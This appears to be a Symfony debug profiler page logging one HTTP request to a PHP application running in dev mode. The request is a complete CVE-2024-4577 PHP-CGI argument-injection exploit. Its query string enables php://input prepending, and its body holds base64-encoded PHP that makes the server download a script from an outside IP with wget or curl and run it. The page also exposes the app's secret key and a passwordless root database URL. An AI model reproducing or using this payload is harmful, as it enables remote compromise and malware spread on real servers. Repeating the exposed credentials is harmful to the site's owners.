Request / Response
Request
GET Parameters
| Key | Value |
|---|---|
| �d_allow_url_include=1_�d_auto_prepend_file=php://input | "" |
POST Parameters
| Key | Value |
|---|---|
| <?php_shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMzEuNTcuMjE2LjEyMS9zaCB8fCBjdXJsIC1zayBodHRwczovLzMxLjU3LjIxNi4xMjEvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw"));_echo(md5("Hello_CVE-2024-4577"));_?> | "" |
Uploaded Files
No files were uploaded
Request Attributes
| Key | Value |
|---|---|
| _stopwatch_token | "1aa732" |
Request Headers
| Header | Value |
|---|---|
| accept | "*/*" |
| content-length | "241" |
| content-type | "application/x-www-form-urlencoded" |
| host | "147.182.179.237" |
| upgrade-insecure-requests | "1" |
| user-agent | "libredtail-http" |
| x-forwarded-for | "114.111.54.188" |
| x-forwarded-proto | "https" |
| x-php-ob-level | "0" |
| x-real-ip | "114.111.54.188" |
Request Content
Raw
<?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMzEuNTcuMjE2LjEyMS9zaCB8fCBjdXJsIC1zayBodHRwczovLzMxLjU3LjIxNi4xMjEvc2gpIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw")); echo(md5("Hello CVE-2024-4577")); ?>
Response
Response Headers
| Header | Value |
|---|---|
| cache-control | "no-cache, private" |
| content-type | "text/html; charset=UTF-8" |
| date | "Mon, 16 Mar 2026 08:41:05 GMT" |
| x-debug-token | "686ad4" |
Cookies
Request Cookies
No request cookies
Response Cookies
No response cookies
Session
Session Metadata
No session metadata
Session Attributes
No session attributes
Session Usage
0
Usages
Stateless check enabled
Session not used.
Flashes
Flashes
No flash messages were created.
Server Parameters
Server Parameters
Defined in .env
| Key | Value |
|---|---|
| APP_ENV | "dev" |
| APP_SECRET | "3333abf15268b8702de54d6a0d2751b2" |
| DATABASE_URL | "mysql://root:@found_foundry_dbserver:3306/found_foundry?serverVersion=mariadb-10.6.4" |
| MAILER_DSN | "null://null" |
| MAINTENANCE | "false" |
| MESSENGER_TRANSPORT_DSN | "doctrine://default?auto_setup=0" |
Defined as regular env variables
| Key | Value |
|---|---|
| APP_DEBUG | "1" |
| CONTENT_LENGTH | "241" |
| CONTENT_TYPE | "application/x-www-form-urlencoded" |
| DOCUMENT_ROOT | "/home/app/public" |
| DOCUMENT_URI | "/index.php" |
| FCGI_ROLE | "RESPONDER" |
| GATEWAY_INTERFACE | "CGI/1.1" |
| GPG_KEYS | "39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC" |
| HOME | "/var/www" |
| HOSTNAME | "c1638c2cadd0" |
| HTTP_ACCEPT | "*/*" |
| HTTP_CONTENT_LENGTH | "241" |
| HTTP_CONTENT_TYPE | "application/x-www-form-urlencoded" |
| HTTP_HOST | "147.182.179.237" |
| HTTP_UPGRADE_INSECURE_REQUESTS | "1" |
| HTTP_USER_AGENT | "libredtail-http" |
| HTTP_X_FORWARDED_FOR | "114.111.54.188" |
| HTTP_X_FORWARDED_PROTO | "https" |
| HTTP_X_REAL_IP | "114.111.54.188" |
| PATH | "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" |
| PHPIZE_DEPS | "autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c" |
| PHP_ASC_URL | "https://www.php.net/distributions/php-8.2.27.tar.xz.asc" |
| PHP_CFLAGS | "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" |
| PHP_CPPFLAGS | "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" |
| PHP_INI_DIR | "/usr/local/etc/php" |
| PHP_LDFLAGS | "-Wl,-O1 -pie" |
| PHP_SELF | "/index.php" |
| PHP_SHA256 | "3eec91294d8c09b3df80b39ec36d574ed9b05de4c8afcb25fa215d48f9ecbc6b" |
| PHP_URL | "https://www.php.net/distributions/php-8.2.27.tar.xz" |
| PHP_VERSION | "8.2.27" |
| PWD | "/home/app" |
| QUERY_STRING | "%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" |
| REDIRECT_STATUS | "200" |
| REMOTE_ADDR | "172.18.0.1" |
| REMOTE_PORT | "52278" |
| REMOTE_USER | "" |
| REQUEST_METHOD | "POST" |
| REQUEST_SCHEME | "http" |
| REQUEST_TIME | 1773650465 |
| REQUEST_TIME_FLOAT | 1773650465.6689 |
| REQUEST_URI | "/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" |
| SCRIPT_FILENAME | "/home/app/public/index.php" |
| SCRIPT_NAME | "/index.php" |
| SERVER_ADDR | "172.18.0.3" |
| SERVER_NAME | "local.foundfoundy.com" |
| SERVER_PORT | "80" |
| SERVER_PROTOCOL | "HTTP/1.1" |
| SERVER_SOFTWARE | "nginx/1.24.0" |
| SYMFONY_DOTENV_VARS | "APP_ENV,APP_SECRET,MESSENGER_TRANSPORT_DSN,DATABASE_URL,MAILER_DSN,MAINTENANCE" |
| USER | "www-data" |
| argc | 4 |
| argv | [ "%ADd" "allow_url_include%3d1" "%ADd" "auto_prepend_file%3dphp://input" ] |